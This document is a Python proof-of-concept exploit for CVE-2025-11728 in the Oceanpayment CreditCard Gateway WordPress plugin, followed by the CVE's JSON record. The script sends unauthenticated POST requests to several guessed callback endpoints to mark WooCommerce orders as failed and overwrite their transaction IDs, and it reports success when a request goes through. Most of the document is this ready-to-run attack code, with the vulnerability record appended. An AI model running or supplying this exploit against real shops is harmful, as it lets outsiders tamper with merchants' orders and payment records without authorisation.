CVE-2025-11728

# CVE-2025-11728 PoC - Oceanpayment CreditCard Gateway Unauthorized Data Modification # This PoC demonstrates how an unauthenticated attacker can exploit # the missing authentication checks on 'return_payment' and 'notice_payment' functions import requests # Target WordPress site using the vulnerable Oceanpayment CreditCard Gateway plugin TARGET_URL = "http://target-wordpress-site.com" def exploit_return_payment(order_id, transaction_id): """ Exploit the 'return_payment' function to modify order status and transaction ID. This function is typically registered as a callback endpoint accessible without authentication. """ # The return_payment callback is usually triggered via a GET/POST request # to a specific endpoint with order parameters payload = { 'order_id': order_id, 'transaction_id': transaction_id, 'status': 'failed' } # Attempt to call the unprotected return_payment function # The endpoint may vary depending on plugin configuration endpoints = [ f"{TARGET_URL}/?wc-api=return_payment", f"{TARGET_URL}/wp-admin/admin-post.php?action=return_payment", f"{TARGET_URL}/wp-json/oceanpayment/v1/return", ] for endpoint in endpoints: try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: print(f"[+] Successfully exploited: {endpoint}") print(f"[+] Order {order_id} status changed to 'failed'") print(f"[+] Transaction ID updated to: {transaction_id}") return True except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {endpoint}: {e}") return False def exploit_notice_payment(order_id, transaction_id): """ Exploit the 'notice_payment' function (async notification handler) to modify order data without authentication. """ payload = { 'order_id': order_id, 'transaction_id': transaction_id, 'payment_status': 'failed' } endpoints = [ f"{TARGET_URL}/?wc-api=notice_payment", f"{TARGET_URL}/wp-admin/admin-post.php?action=notice_payment", f"{TARGET_URL}/wp-json/oceanpayment/v1/notice", ] for endpoint in endpoints: try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: print(f"[+] Successfully exploited: {endpoint}") print(f"[+] Order {order_id} modified via notice_payment") return True except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {endpoint}: {e}") return False if __name__ == "__main__": # Example: Target a specific WooCommerce order target_order_id = "12345" fake_transaction_id = "FAKE_TXN_999999" print("[*] CVE-2025-11728 - Oceanpayment CreditCard Gateway Exploit PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Target Order ID: {target_order_id}") print("-" * 60) # Try exploiting return_payment function print("\n[*] Attempting to exploit 'return_payment' function...") exploit_return_payment(target_order_id, fake_transaction_id) # Try exploiting notice_payment function print("\n[*] Attempting to exploit 'notice_payment' function...") exploit_notice_payment(target_order_id, fake_transaction_id) print("\n[*] Exploit attempts completed.")

{"cve": {"id": "CVE-2025-11728", "sourceIdentifier": "[email protected]", "published": "2025-10-15T09:15:43.307", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Oceanpayment CreditCard Gateway plugin for WordPress is vulnerable to unauthenticated and unauthorized modification of data due to missing authentication and capability checks on the 'return_payment' and 'notice_payment' functions in all versions up to, and including, 6.0. This makes it possible for unauthenticated attackers to update WooCommerce orders to 'failed' status, and update transaction IDs."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/oceanpayment-creditcard-gateway/trunk/class-wc-oceancreditcard.php#L489", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/oceanpayment-creditcard-gateway/trunk/class-wc-oceancreditcard.php#L594", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c560bc33-d664-433e-bfd9-e4fa1776bb76?source=cve", "source": "[email protected]"}]}}